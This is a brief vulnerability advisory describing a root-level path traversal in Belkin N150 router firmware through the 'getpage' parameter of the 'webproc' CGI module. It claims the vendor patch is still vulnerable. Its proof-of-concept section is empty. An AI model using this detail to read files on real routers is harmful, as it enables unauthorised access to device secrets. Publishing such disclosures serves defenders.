Description:
Belkin N150 wireless router firmware versions 1.00.07 and earlier contain a
path traversal vulnerability through the built-in web interface. The
webproc cgi
module accepts a getpage parameter which takes an unrestricted file path as
input. The web server runs with root privileges by default, allowing a
malicious attacker to read any file on the system.

A patch was released by Belkin but that is still vulnerable.

POC:
